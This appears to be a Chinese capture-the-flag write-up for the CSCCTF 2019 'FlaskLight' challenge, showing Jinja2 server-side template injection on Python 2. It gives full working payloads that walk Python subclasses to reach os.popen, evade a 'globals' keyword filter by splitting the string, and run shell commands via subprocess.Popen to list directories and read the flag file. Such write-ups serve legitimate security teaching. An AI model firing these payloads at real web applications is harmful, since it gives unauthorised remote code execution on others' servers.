[CSCCTF 2019 Qual]FlaskLight

本文详细介绍了Python SSTI(Server-Side Template Injection)漏洞的利用方法,包括如何通过`<class 'subprocess.Popen'>`进行RCE攻击。在面对globals过滤的情况下,通过字符串拼接的方式成功绕过,并展示了利用`subprocess.Popen`执行系统命令的payload。此外,还提供了两种不同的解决方案,展示了如何在globals被过滤时,依然能够利用其它子类进行攻击。

知识点:

一、此题为python2 jinjia2 ssti模板注入,此题过滤了globals用+拼接绕过即可。
二、利用<class ‘subprocess.Popen’>这个类来RCE,在python2和python3的过渡中subprocess.Popen与popen功能类似且调用时不会使用globals。

题解

方法一
打开界面查看源代码发现
在这里插入图片描述在这里插入图片描述提示用get方法向search传参
发现1会回显在页面上
结合题目名字由此猜测此题与ssti有关
在这里插入图片描述尝试payload,证实确实是ssti
在这里插入图片描述

http://79c0484f-fc89-4cff-b375-816c7530d959.node4.buuoj.cn:81/?search={{%27%27.__class__.__mro__[-1].__subclasses__()}}

在这里插入图片描述查找很多都没有对应的模块啊
在这里插入图片描述找到71后发现无法使用到globals时无回显,遂猜测是否过滤了globals

在这里插入图片描述

http://79c0484f-fc89-4cff-b375-816c7530d959.node4.buuoj.cn:81/?search={{%27%27.__class__.__mro__[-1].__subclasses__()[71].__init__[%27__glob%27+%27als__%27]}}

在这里插入图片描述成功绕过 继续

http://79c0484f-fc89-4cff-b375-816c7530d959.node4.buuoj.cn:81/?search={{%27%27.__class__.__mro__[-1].__subclasses__()[71].__init__[%27__glob%27+%27als__%27][%27os%27].popen(%27ls%27).read()}}}}

在这里插入图片描述

http://79c0484f-fc89-4cff-b375-816c7530d959.node4.buuoj.cn:81/?search={{%27%27.__class__.__mro__[-1].__subclasses__()[71].__init__[%27__glob%27+%27als__%27][%27os%27].popen(%27cd%20flasklight;ls%27).read()}}}}

在这里插入图片描述

http://79c0484f-fc89-4cff-b375-816c7530d959.node4.buuoj.cn:81/?search={{%27%27.__class__.__mro__[-1].__subclasses__()[71].__init__[%27__glob%27+%27als__%27][%27os%27].popen(%27cd%20flasklight;cat%20coomme_geeeett_youur_flek%20%27).read()}}}}

在这里插入图片描述方法二:
globals被过滤,选择不使用globals的子类
则subprocess.Popen十分适合

subprocess.Popen用法:

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

subprocess.popen

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值